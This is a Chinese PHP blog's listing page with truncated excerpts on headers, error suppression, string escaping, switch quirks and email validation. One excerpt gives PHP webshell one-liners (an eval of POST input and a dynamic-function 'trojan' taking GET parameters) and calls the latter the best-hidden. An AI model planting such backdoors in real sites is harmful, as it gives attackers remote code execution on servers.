header设置返回头方法(header常用的头部定义)
pren 发布于 2021-09-18
php头部返回状态码 // ok 正常访问 header('HTTP/1.1 200 OK'); //通知浏览器 页面不存在 header('HTTP/1.1 404 Not Found'); //设置地址被永久的重定向 301 header('HTTP/1.1 301 Move...
阅读(397)评论(0)赞 (0)

任鹏个人博客pren 发布于 2021-09-18
php头部返回状态码 // ok 正常访问 header('HTTP/1.1 200 OK'); //通知浏览器 页面不存在 header('HTTP/1.1 404 Not Found'); //设置地址被永久的重定向 301 header('HTTP/1.1 301 Move...
阅读(397)评论(0)赞 (0)
pren 发布于 2021-09-18
标准的写法,直接通过eval执行php代码,如下: @eval ($_POST['code']); 动态执行assert生成一个木马文件(隐藏性最好的一种)如下: @$_GET['a']($_GET['code']); 使用方法:从url中传入下面参数执行后会在当前目录生成一个c...
阅读(601)评论(0)赞 (0)
pren 发布于 2021-09-18
php从命令行执行时可以使用 -r参数来传递执行的php代码,如果我们从程序中传php脚本来执行就会涉及到引号替换的问题,下面记录一个从输入流传递执行的php代码的方法 $descriptorspec = [ 0 => ["pipe", "r"], // 启动的命令行可以从这里读...
阅读(591)评论(0)赞 (0)
pren 发布于 2021-09-18
说明:die和exit都是中止脚本执行函数;其实exit和die这两个名字指向的是同一个函数,die是exit函数的别名。该函数只接受一个参数,可以是一个程序返回的数值或是一个字符串,也可以不输入参数,结果没有返回值。 参考:虽然两者相同,但通常使用中也有细微的选择性。例如: 当...
阅读(480)评论(0)赞 (0)
pren 发布于 2021-09-18
验证邮箱格式的正确与否,你的第一解决方案是什么呢?不管你们怎么思考的,反正我首先想到的就是字符串查找看是否有@符号,但是对于结尾的.com或者.net 亦或者.cn等等越来越多的域名验证感觉棘手,直到了某一天认真的研究了filter_var()函数的参数,我对以前走马观花式的阅读...
阅读(667)评论(0)赞 (0)
pren 发布于 2021-09-18
首先我们猜想下下面的代码会输出什么? switch (0) { case 'test1': echo 1; case 'test2': echo 2; case 'test3': echo 3; break; } 打眼一看;如果你认为什么都不会输出; 那么这篇文章你就看值了; 事...
阅读(523)评论(0)赞 (0)
pren 发布于 2021-09-18
方法一: <a href="####"></a> 方法二: <a href="javascript:void(0)"></a> 方法三: <a href="javascript...
阅读(707)评论(0)赞 (1)
pren 发布于 2021-09-18
方法一:@ 在任何错误语句之前加上@符号,即可屏蔽! 方法二:error_reporting 在PHP文件第一行加上:error_reporting(0); 即可屏蔽! // 关闭错误报告 error_reporting(0); // 报告 runtime 错误 error_re...
阅读(566)评论(0)赞 (0)
pren 发布于 2021-09-18
三个函数: addslashes($string);//用反斜线引用字符串中的特殊字符' " \ $username=addslashes($username); mysql_escape_string($string);//用反斜杠转义字符串中的特殊字符,用于mysql_que...
阅读(812)评论(0)赞 (0)
pren 发布于 2021-09-17
??和?:是PHP7新增的特性 $a ?? 0 等同于 isset($a) ? $a : 0。 $a ?: 0 等同于 $a ? $a : 0。 empty: 判断一个变量是否为空(null、false、00、0、’0′、』这类,都会返回true)。 isset: 判断一个变量是...
阅读(706)评论(0)赞 (0)